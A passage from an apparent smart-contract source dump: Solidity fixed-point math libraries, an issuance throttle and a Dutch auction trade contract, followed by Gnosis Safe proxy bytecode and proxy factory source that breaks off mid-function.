y\n // as-ints: x * y / 1e36\n function mul_toUint(uint192 x, uint192 y) internal pure returns (uint256) {\n return mulDiv256(uint256(x), uint256(y), FIX_SCALE_SQ);\n }\n\n /// Multiply this uint192 by a uint192 and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e36\n function mul_toUint(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n return mulDiv256(uint256(x), uint256(y), FIX_SCALE_SQ, rounding);\n }\n\n /// Compute x * y / z avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function muluDivu(\n uint192 x,\n uint256 y,\n uint256 z\n ) internal pure returns (uint192) {\n return muluDivu(x, y, z, FLOOR);\n }\n\n /// Compute x * y / z, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function muluDivu(\n uint192 x,\n uint256 y,\n uint256 z,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(mulDiv256(x, y, z, rounding));\n }\n\n /// Compute x * y / z on Fixes, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function mulDiv(\n uint192 x,\n uint192 y,\n uint192 z\n ) internal pure returns (uint192) {\n return mulDiv(x, y, z, FLOOR);\n }\n\n /// Compute x * y / z on Fixes, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function mulDiv(\n uint192 x,\n uint192 y,\n uint192 z,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(mulDiv256(x, y, z, rounding));\n }\n\n // === safe*() ===\n\n /// Multiply two fixes, rounding up to FIX_MAX and down to 0\n /// @param a First param to multiply\n /// @param b Second param to multiply\n function safeMul(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // untestable:\n // a will never = 0 here because of the check in _price()\n if (a == 0 || b == 0) return 0;\n // untestable:\n // a = FIX_MAX iff b = 0\n if (a == FIX_MAX || b == FIX_MAX) return FIX_MAX;\n\n // return FIX_MAX instead of throwing overflow errors.\n unchecked {\n // p and mul *are* Fix values, so have 18 decimals (D18)\n uint256 rawDelta = uint256(b) * a; // {D36} = {D18} * {D18}\n // if we overflowed, then return FIX_MAX\n if (rawDelta / b != a) return FIX_MAX;\n uint256 shiftDelta = rawDelta;\n\n // add in rounding\n if (rounding == RoundingMode.ROUND) shiftDelta += (FIX_ONE / 2);\n else if (rounding == RoundingMode.CEIL) shiftDelta += FIX_ONE - 1;\n\n // untestable (here there be dragons):\n // (below explanation is for the ROUND case, but it extends to the FLOOR/CEIL too)\n // A) shiftDelta = rawDelta + (FIX_ONE / 2)\n // shiftDelta overflows if:\n // B) shiftDelta = MAX_UINT256 - FIX_ONE/2 + 1\n // rawDelta + (FIX_ONE/2) = MAX_UINT256 - FIX_ONE/2 + 1\n // b * a = MAX_UINT256 - FIX_ONE + 1\n // therefore shiftDelta overflows if:\n // C) b = (MAX_UINT256 - FIX_ONE + 1) / a\n // MAX_UINT256 ~= 1e77 , FIX_MAX ~= 6e57 (6e20 difference in magnitude)\n // a <= 1e21 (MAX_TARGET_AMT)\n // a must be between 1e19 & 1e20 in order for b in (C) to be uint192,\n // but a would have to be < 1e18 in order for (A) to overflow\n if (shiftDelta < rawDelta) return FIX_MAX;\n\n // return FIX_MAX if return result would truncate\n if (shiftDelta / FIX_ONE > FIX_MAX) return FIX_MAX;\n\n // return _div(rawDelta, FIX_ONE, rounding)\n return uint192(shiftDelta / FIX_ONE); // {D18} = {D36} / {D18}\n }\n }\n\n /// Divide two fixes, rounding up to FIX_MAX and down to 0\n /// @param a Numerator\n /// @param b Denominator\n function safeDiv(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n if (a == 0) return 0;\n if (b == 0) return FIX_MAX;\n\n uint256 raw = _divrnd(FIX_ONE_256 * a, uint256(b), rounding);\n if (raw >= FIX_MAX) return FIX_MAX;\n return uint192(raw); // don't need _safeWrap\n }\n\n /// Multiplies two fixes and divide by a third\n /// @param a First to multiply\n /// @param b Second to multiply\n /// @param c Denominator\n function safeMulDiv(\n uint192 a,\n uint192 b,\n uint192 c,\n RoundingMode rounding\n ) internal pure returns (uint192 result) {\n if (a == 0 || b == 0) return 0;\n if (a == FIX_MAX || b == FIX_MAX || c == 0) return FIX_MAX;\n\n uint256 result_256;\n unchecked {\n (uint256 hi, uint256 lo) = fullMul(a, b);\n if (hi >= c) return FIX_MAX;\n uint256 mm = mulmod(a, b, c);\n if (mm > lo) hi -= 1;\n lo -= mm;\n uint256 pow2 = c & (0 - c);\n\n uint256 c_256 = uint256(c);\n // Warning: Should not access c below this line\n\n c_256 /= pow2;\n lo /= pow2;\n lo += hi * ((0 - pow2) / pow2 + 1);\n uint256 r = 1;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n result_256 = lo * r;\n\n // Apply rounding\n if (rounding == CEIL) {\n if (mm > 0) result_256 += 1;\n } else if (rounding == ROUND) {\n if (mm > ((c_256 - 1) / 2)) result_256 += 1;\n }\n }\n\n if (result_256 >= FIX_MAX) return FIX_MAX;\n return uint192(result_256);\n }\n}\n\n// ================ a couple pure-uint helpers================\n// as-ints comments are omitted here, because they're the same as @return statements, because\n// these are all pure uint functions\n\n/// Return (x*y/z), avoiding intermediate overflow.\n// Adapted from sources:\n// https://medium.com/coinmonks/4db014e080b1, https://medium.com/wicketh/afa55870a65\n// and quite a few of the other excellent \"Mathemagic\" posts from https://medium.com/wicketh\n/// @dev Only use if you need to avoid overflow; costlier than x * y / z\n/// @return result x * y / z\nfunction mulDiv256(\n uint256 x,\n uint256 y,\n uint256 z\n) pure returns (uint256 result) {\n unchecked {\n (uint256 hi, uint256 lo) = fullMul(x, y);\n if (hi >= z) revert UIntOutOfBounds();\n uint256 mm = mulmod(x, y, z);\n if (mm > lo) hi -= 1;\n lo -= mm;\n uint256 pow2 = z & (0 - z);\n z /= pow2;\n lo /= pow2;\n lo += hi * ((0 - pow2) / pow2 + 1);\n uint256 r = 1;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n result = lo * r;\n }\n}\n\n/// Return (x*y/z), avoiding intermediate overflow.\n/// @dev Only use if you need to avoid overflow; costlier than x * y / z\n/// @return x * y / z\nfunction mulDiv256(\n uint256 x,\n uint256 y,\n uint256 z,\n RoundingMode rounding\n) pure returns (uint256) {\n uint256 result = mulDiv256(x, y, z);\n if (rounding == FLOOR) return result;\n\n uint256 mm = mulmod(x, y, z);\n if (rounding == CEIL) {\n if (mm > 0) result += 1;\n } else {\n if (mm > ((z - 1) / 2)) result += 1; // z should be z-1\n }\n return result;\n}\n\n/// Return (x*y) as a \"virtual uint512\" (lo, hi), representing (hi*2**256 + lo)\n/// Adapted from sources:\n/// https://medium.com/wicketh/27650fec525d, https://medium.com/coinmonks/4db014e080b1\n/// @dev Intended to be internal to this library\n/// @return hi (hi, lo) satisfies hi*(2**256) + lo == x * y\n/// @return lo (paired with `hi`)\nfunction fullMul(uint256 x, uint256 y) pure returns (uint256 hi, uint256 lo) {\n unchecked {\n uint256 mm = mulmod(x, y, uint256(0) - uint256(1));\n lo = x * y;\n hi = mm - lo;\n if (mm < lo) hi -= 1;\n }\n}\n// slither-disable-end divide-before-multiply\n"
},
"contracts/libraries/NetworkConfigLib.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\n/**\n * @title NetworkConfigLib\n * @notice Provides network-specific configuration parameters\n */\nlibrary NetworkConfigLib {\n error InvalidNetwork();\n\n // Returns the blocktime based on the current network (e.g. 12s for Ethereum PoS)\n // See docs/system-design.md for discussion of handling longer or shorter times\n function blocktime() internal view returns (uint48) {\n uint256 chainId = block.chainid;\n // untestable:\n // most of the branches will be shown as uncovered, because we only run coverage\n // on local Ethereum PoS network (31337). Manual testing was performed.\n if (chainId == 1 || chainId == 3 || chainId == 5 || chainId == 31337) {\n return 12; // Ethereum PoS, Goerli, HH (tests)\n } else if (chainId == 8453 || chainId == 84531) {\n return 2; // Base, Base Goerli\n } else {\n revert InvalidNetwork();\n }\n }\n}\n"
},
"contracts/libraries/Throttle.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./Fixed.sol\";\n\nuint48 constant ONE_HOUR = 3600; // {seconds/hour}\n\n/**\n * @title ThrottleLib\n * A library that implements a usage throttle that can be used to ensure net issuance\n * or net redemption for an RToken never exceeds some bounds per unit time (hour).\n *\n * It is expected for the RToken to use this library with two instances, one for issuance\n * and one for redemption. Issuance causes the available redemption amount to increase, and\n * visa versa.\n */\nlibrary ThrottleLib {\n using FixLib for uint192;\n\n struct Params {\n uint256 amtRate; // {qRTok/hour} a quantity of RToken hourly; cannot be 0\n uint192 pctRate; // {1/hour} a fraction of RToken hourly; can be 0\n }\n\n struct Throttle {\n // === Gov params ===\n Params params;\n // === Cache ===\n uint48 lastTimestamp; // {seconds}\n uint256 lastAvailable; // {qRTok}\n }\n\n /// Reverts if usage amount exceeds available amount\n /// @param supply {qRTok} Total RToken supply beforehand\n /// @param amount {qRTok} Amount of RToken to use. Should be negative for the issuance\n /// throttle during redemption and for the redemption throttle during issuance.\n function useAvailable(\n Throttle storage throttle,\n uint256 supply,\n int256 amount\n ) internal {\n // untestable: amtRate will always be greater > 0 due to previous validations\n if (throttle.params.amtRate == 0 && throttle.params.pctRate == 0) return;\n\n // Calculate hourly limit\n uint256 limit = hourlyLimit(throttle, supply); // {qRTok}\n\n // Calculate available amount before supply change\n uint256 available = currentlyAvailable(throttle, limit);\n\n // Update throttle.timestamp if available amount changed or at limit\n if (available != throttle.lastAvailable || available == limit) {\n throttle.lastTimestamp = uint48(block.timestamp);\n }\n\n // Update throttle.lastAvailable\n if (amount > 0) {\n require(uint256(amount) <= available, \"supply change throttled\");\n available -= uint256(amount);\n // untestable: the final else statement, amount will never be 0\n } else if (amount < 0) {\n available += uint256(-amount);\n }\n throttle.lastAvailable = available;\n }\n\n /// @param limit {qRTok/hour} The hourly limit\n /// @return available {qRTok} Amount currently available for consumption\n function currentlyAvailable(Throttle storage throttle, uint256 limit)\n internal\n view\n returns (uint256 available)\n {\n uint48 delta = uint48(block.timestamp) - throttle.lastTimestamp; // {seconds}\n available = throttle.lastAvailable + (limit * delta) / ONE_HOUR;\n if (available > limit) available = limit;\n }\n\n /// @return limit {qRTok} The hourly limit\n function hourlyLimit(Throttle storage throttle, uint256 supply)\n internal\n view\n returns (uint256 limit)\n {\n Params storage params = throttle.params;\n\n // Calculate hourly limit as: max(params.amtRate, supply.mul(params.pctRate))\n limit = (supply * params.pctRate) / FIX_ONE_256; // {qRTok}\n if (params.amtRate > limit) limit = params.amtRate;\n }\n}\n"
},
"contracts/mixins/Versioned.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"../interfaces/IVersioned.sol\";\n\n// This value should be updated on each release\nstring constant VERSION = \"3.3.0\";\n\n/**\n * @title Versioned\n * @notice A mix-in to track semantic versioning uniformly across contracts.\n */\nabstract contract Versioned is IVersioned {\n function version() public pure virtual override returns (string memory) {\n return VERSION;\n }\n}\n"
},
"contracts/plugins/trading/DutchTrade.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"../../libraries/Fixed.sol\";\nimport \"../../libraries/NetworkConfigLib.sol\";\nimport \"../../interfaces/IAsset.sol\";\nimport \"../../interfaces/IBroker.sol\";\nimport \"../../interfaces/ITrade.sol\";\nimport \"../../mixins/Versioned.sol\";\n\ninterface IDutchTradeCallee {\n function dutchTradeCallback(\n address buyToken,\n // {qBuyTok}\n uint256 buyAmount,\n bytes calldata data\n ) external;\n}\n\nenum BidType {\n NONE,\n CALLBACK,\n TRANSFER\n}\n\n// A dutch auction in 4 parts:\n// 1. 0% - 20%: Geometric decay from 1000x the bestPrice to ~1.5x the bestPrice\n// 2. 20% - 45%: Linear decay from ~1.5x the bestPrice to the bestPrice\n// 3. 45% - 95%: Linear decay from the bestPrice to the worstPrice\n// 4. 95% - 100%: Constant at the worstPrice\n//\n// For a trade between 2 assets with 1% oracleError:\n// A 30-minute auction on a chain with a 12-second blocktime has a ~20% price drop per block\n// during the 1st period, ~0.8% during the 2nd period, and ~0.065% during the 3rd period.\n//\n// 30-minutes is the recommended length of auction for a chain with 12-second blocktimes.\n// 6 minutes, 7.5 minutes, 15 minutes, 1.5 minutes for each pariod respectively.\n//\n// Longer and shorter times can be used as well. The pricing method does not degrade\n// beyond the degree to which less overall blocktime means less overall precision.\n\nuint192 constant FIVE_PERCENT = 5e16; // {1} 0.05\nuint192 constant TWENTY_PERCENT = 20e16; // {1} 0.2\nuint192 constant TWENTY_FIVE_PERCENT = 25e16; // {1} 0.25\nuint192 constant FORTY_FIVE_PERCENT = 45e16; // {1} 0.45\nuint192 constant FIFTY_PERCENT = 50e16; // {1} 0.5\nuint192 constant NINETY_FIVE_PERCENT = 95e16; // {1} 0.95\n\nuint192 constant MAX_EXP = 6502287e18; // {1} (1000000/999999)^6502287 = ~666.6667\nuint192 constant BASE = 999999e12; // {1} (999999/1000000)\nuint192 constant ONE_POINT_FIVE = 150e16; // {1} 1.5\n\n/**\n * @title DutchTrade\n * @notice Implements a wholesale dutch auction via a 4-piecewise falling-price mechansim.\n * The overall idea is to handle 4 cases:\n * 1. Price manipulation of the exchange rate up to 1000x (eg: via a read-only reentrancy)\n * 2. Price movement of up to 50% during the auction\n * 3. Typical case: no significant price movement; clearing price within expected range\n * 4. No bots online; manual human doing bidding; additional time for tx clearing\n *\n * Case 1: Over the first 20% of the auction the price falls from ~1000x the best plausible\n * price down to 1.5x the best plausible price in a geometric series.\n * This period DOES NOT expect to receive a bid; it just defends against manipulated prices.\n * If a bid occurs during this period, a violation is reported to the Broker.\n * This is still safe for the protocol since other trades, with price discovery, can occur.\n *\n * Case 2: Over the next 20% of the auction the price falls from 1.5x the best plausible price\n * to the best plausible price, linearly. No violation is reported if a bid occurs. This case\n * exists to handle cases where prices change after the auction is started, naturally.\n *\n * Case 3: Over the next 50% of the auction the price falls from the best plausible price to the\n * worst price, linearly. The worst price is further discounted by the maxTradeSlippage.\n * This is the phase of the auction where bids will typically occur.\n *\n * Case 4: Lastly the price stays at the worst price for the final 5% of the auction to allow\n * a bid to occur if no bots are online and the only bidders are humans.\n *\n * To bid:\n * 1. Call `bidAmount()` view to check prices at various blocks.\n * 2. Provide approval of sell tokens for precisely the `bidAmount()` desired\n * 3. Wait until the desired block is reached (hopefully not in the first 20% of the auction)\n * 4. Call bid()\n */\ncontract DutchTrade is ITrade, Versioned {\n using FixLib for uint192;\n using SafeERC20 for IERC20Metadata;\n\n TradeKind public constant KIND = TradeKind.DUTCH_AUCTION;\n\n // solhint-disable-next-line var-name-mixedcase\n uint48 public immutable ONE_BLOCK; // {s} 1 block based on network\n\n BidType public bidType; // = BidType.NONE\n\n TradeStatus public status; // reentrancy protection\n\n IBroker public broker; // The Broker that cloned this contract into existence\n ITrading public origin; // the address that initialized the contract\n\n // === Auction ===\n IERC20Metadata public sell;\n IERC20Metadata public buy;\n uint192 public sellAmount; // {sellTok}\n\n // The auction runs from [startBlock, endTime], inclusive\n uint256 public startBlock; // {block} when the dutch auction begins (one block after init())\n uint256 public endBlock; // {block} when the dutch auction ends if no bids are received\n uint48 public endTime; // {s} not used in this contract; needed on interface\n\n uint192 public bestPrice; // {buyTok/sellTok} The best plausible price based on oracle data\n uint192 public worstPrice; // {buyTok/sellTok} The worst plausible price based on oracle data\n\n // === Bid ===\n address public bidder;\n // the bid amount is just whatever token balance is in the contract at settlement time\n\n // This modifier both enforces the state-machine pattern and guards against reentrancy.\n modifier stateTransition(TradeStatus begin, TradeStatus end) {\n require(status == begin, \"Invalid trade state\");\n status = TradeStatus.PENDING;\n _;\n assert(status == TradeStatus.PENDING);\n status = end;\n }\n\n // === Auction Sizing Views ===\n\n /// @return {qSellTok} The size of the lot being sold, in token quanta\n function lot() public view returns (uint256) {\n return sellAmount.shiftl_toUint(int8(sell.decimals()));\n }\n\n /// Calculates how much buy token is needed to purchase the lot at a particular block\n /// @param blockNumber {block} The block number of the bid\n /// @return {qBuyTok} The amount of buy tokens required to purchase the lot\n function bidAmount(uint256 blockNumber) external view returns (uint256) {\n return _bidAmount(_price(blockNumber));\n }\n\n // ==== Constructor ===\n\n constructor() {\n ONE_BLOCK = NetworkConfigLib.blocktime();\n\n status = TradeStatus.CLOSED;\n }\n\n // === External ===\n\n /// @param origin_ The Trader that originated the trade\n /// @param sell_ The asset being sold by the protocol\n /// @param buy_ The asset being bought by the protocol\n /// @param sellAmount_ {qSellTok} The amount to sell in the auction, in token quanta\n /// @param auctionLength {s} How many seconds the dutch auction should run for\n function init(\n ITrading origin_,\n IAsset sell_,\n IAsset buy_,\n uint256 sellAmount_,\n uint48 auctionLength,\n TradePrices memory prices\n ) external stateTransition(TradeStatus.NOT_STARTED, TradeStatus.OPEN) {\n assert(\n address(sell_) != address(0) &&\n address(buy_) != address(0) &&\n auctionLength >= 20 * ONE_BLOCK\n ); // misuse by caller\n\n // Only start dutch auctions under well-defined prices\n require(prices.sellLow != 0 && prices.sellHigh < FIX_MAX / 1000, \"bad sell pricing\");\n require(prices.buyLow != 0 && prices.buyHigh < FIX_MAX / 1000, \"bad buy pricing\");\n\n broker = IBroker(msg.sender);\n origin = origin_;\n sell = sell_.erc20();\n buy = buy_.erc20();\n\n require(sellAmount_ <= sell.balanceOf(address(this)), \"unfunded trade\");\n sellAmount = shiftl_toFix(sellAmount_, -int8(sell.decimals())); // {sellTok}\n\n uint256 _startBlock = block.number + 1; // start in the next block\n startBlock = _startBlock; // gas-saver\n\n uint256 _endBlock = _startBlock + auctionLength / ONE_BLOCK; // FLOOR; endBlock is inclusive\n endBlock = _endBlock; // gas-saver\n\n endTime = uint48(block.timestamp + ONE_BLOCK * (_endBlock - _startBlock + 1));\n\n // {buyTok/sellTok} = {UoA/sellTok} * {1} / {UoA/buyTok}\n uint192 _worstPrice = prices.sellLow.mulDiv(\n FIX_ONE - origin.maxTradeSlippage(),\n prices.buyHigh,\n FLOOR\n );\n uint192 _bestPrice = prices.sellHigh.div(prices.buyLow, CEIL); // no additional slippage\n assert(_worstPrice <= _bestPrice);\n worstPrice = _worstPrice; // gas-saver\n bestPrice = _bestPrice; // gas-saver\n }\n\n /// Bid for the auction lot at the current price; settle trade in protocol\n /// @dev Caller must have provided approval\n /// @return amountIn {qBuyTok} The quantity of tokens the bidder paid\n function bid() external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {buyTok/sellTok}\n uint192 price = _price(block.number); // enforces auction ongoing\n\n // {qBuyTok}\n amountIn = _bidAmount(price);\n\n // Mark bidder\n bidder = msg.sender;\n bidType = BidType.TRANSFER;\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // reportViolation if auction cleared in geometric phase\n if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {\n broker.reportViolation();\n }\n\n // Transfer in buy tokens from bidder\n buy.safeTransferFrom(msg.sender, address(this), amountIn);\n\n // settle() in core protocol\n origin.settleTrade(sell);\n\n // confirm .settleTrade() succeeded and .settle() has been called\n assert(status == TradeStatus.CLOSED);\n }\n\n /// Bid with callback for the auction lot at the current price; settle trade in protocol\n /// Sold funds are sent back to the callee first via callee.dutchTradeCallback(...)\n /// Balance of buy token must increase by bidAmount(current block) after callback\n ///\n /// @dev Caller must implement IDutchTradeCallee\n /// @param data {bytes} The data to pass to the callback\n /// @return amountIn {qBuyTok} The quantity of tokens the bidder paid\n function bidWithCallback(bytes calldata data) external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {buyTok/sellTok}\n uint192 price = _price(block.number); // enforces auction ongoing\n\n // {qBuyTok}\n amountIn = _bidAmount(price);\n\n // Mark bidder\n bidder = msg.sender;\n bidType = BidType.CALLBACK;\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // reportViolation if auction cleared in geometric phase\n if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {\n broker.reportViolation();\n }\n\n // Transfer sell tokens to bidder\n sell.safeTransfer(bidder, lot()); // {qSellTok}\n\n uint256 balanceBefore = buy.balanceOf(address(this)); // {qBuyTok}\n IDutchTradeCallee(bidder).dutchTradeCallback(address(buy), amountIn, data);\n require(\n amountIn <= buy.balanceOf(address(this)) - balanceBefore,\n \"insufficient buy tokens\"\n );\n\n // settle() in core protocol\n origin.settleTrade(sell);\n\n // confirm .settleTrade() succeeded and .settle() has been called\n assert(status == TradeStatus.CLOSED);\n }\n\n /// Settle the auction, emptying the contract of balances\n /// @return soldAmt {qSellTok} Token quantity sold by the protocol\n /// @return boughtAmt {qBuyTok} Token quantity purchased by the protocol\n function settle()\n external\n stateTransition(TradeStatus.OPEN, TradeStatus.CLOSED)\n returns (uint256 soldAmt, uint256 boughtAmt)\n {\n require(msg.sender == address(origin), \"only origin can settle\");\n require(bidder != address(0) || block.number > endBlock, \"auction not over\");\n\n if (bidType == BidType.CALLBACK) {\n soldAmt = lot(); // {qSellTok}\n } else if (bidType == BidType.TRANSFER) {\n soldAmt = lot(); // {qSellTok}\n sell.safeTransfer(bidder, soldAmt); // {qSellTok}\n }\n\n // Transfer remaining balances back to origin\n boughtAmt = buy.balanceOf(address(this)); // {qBuyTok}\n buy.safeTransfer(address(origin), boughtAmt); // {qBuyTok}\n sell.safeTransfer(address(origin), sell.balanceOf(address(this))); // {qSellTok}\n }\n\n /// Anyone can transfer any ERC20 back to the origin after the trade has been closed\n /// @dev Escape hatch in case of accidentally transferred tokens after auction end\n /// @custom:interaction CEI (and respects the state lock)\n function transferToOriginAfterTradeComplete(IERC20Metadata erc20) external {\n require(status == TradeStatus.CLOSED, \"only after trade is closed\");\n erc20.safeTransfer(address(origin), erc20.balanceOf(address(this)));\n }\n\n /// @return true iff the trade can be settled.\n // Guaranteed to be true some time after init(), until settle() is called\n function canSettle() external view returns (bool) {\n return status == TradeStatus.OPEN && (bidder != address(0) || block.number > endBlock);\n }\n\n // === Private ===\n\n /// Return the price of the auction at a particular timestamp\n /// @param blockNumber {block} The block number to get price for\n /// @return {buyTok/sellTok}\n function _price(uint256 blockNumber) private view returns (uint192) {\n uint256 _startBlock = startBlock; // gas savings\n uint256 _endBlock = endBlock; // gas savings\n require(blockNumber >= _startBlock, \"auction not started\");\n require(blockNumber <= _endBlock, \"auction over\");\n\n /// Price Curve:\n /// - first 20%: geometrically decrease the price from 1000x the bestPrice to 1.5x it\n /// - next 25%: linearly decrease the price from 1.5x the bestPrice to 1x it\n /// - next 50%: linearly decrease the price from bestPrice to worstPrice\n /// - last 5%: constant at worstPrice\n\n uint192 progression = divuu(blockNumber - _startBlock, _endBlock - _startBlock); // {1}\n\n // Fast geometric decay -- 0%-20% of auction\n if (progression < TWENTY_PERCENT) {\n uint192 exp = MAX_EXP.mulDiv(TWENTY_PERCENT - progression, TWENTY_PERCENT, ROUND);\n\n // bestPrice * ((1000000/999999) ^ exp) = bestPrice / ((999999/1000000) ^ exp)\n // safe uint48 downcast: exp is at-most 6502287\n // {buyTok/sellTok} = {buyTok/sellTok} / {1} ^ {1}\n return bestPrice.mulDiv(ONE_POINT_FIVE, BASE.powu(uint48(exp.toUint(ROUND))), CEIL);\n // this reverts for bestPrice >= 6.21654046e36 * FIX_ONE\n } else if (progression < FORTY_FIVE_PERCENT) {\n // First linear decay -- 20%-45% of auction\n // 1.5x -> 1x the bestPrice\n\n uint192 _bestPrice = bestPrice; // gas savings\n // {buyTok/sellTok} = {buyTok/sellTok} * {1}\n uint192 highPrice = _bestPrice.mul(ONE_POINT_FIVE, CEIL);\n return\n highPrice -\n (highPrice - _bestPrice).mulDiv(progression - TWENTY_PERCENT, TWENTY_FIVE_PERCENT);\n } else if (progression < NINETY_FIVE_PERCENT) {\n // Second linear decay -- 45%-95% of auction\n // bestPrice -> worstPrice\n\n uint192 _bestPrice = bestPrice; // gas savings\n // {buyTok/sellTok} = {buyTok/sellTok} * {1}\n return\n _bestPrice -\n (_bestPrice - worstPrice).mulDiv(progression - FORTY_FIVE_PERCENT, FIFTY_PERCENT);\n }\n\n // Constant price -- 95%-100% of auction\n return worstPrice;\n }\n\n /// Calculates how much buy token is needed to purchase the lot at a particular price\n /// @param price {buyTok/sellTok}\n /// @return {qBuyTok} The amount of buy tokens required to purchase the lot\n function _bidAmount(uint192 price) public view returns (uint256) {\n // {qBuyTok} = {sellTok} * {buyTok/sellTok} * {qBuyTok/buyTok}\n return sellAmount.mul(price, CEIL).shiftl_toUint(int8(buy.decimals()), CEIL);\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
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608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
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608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
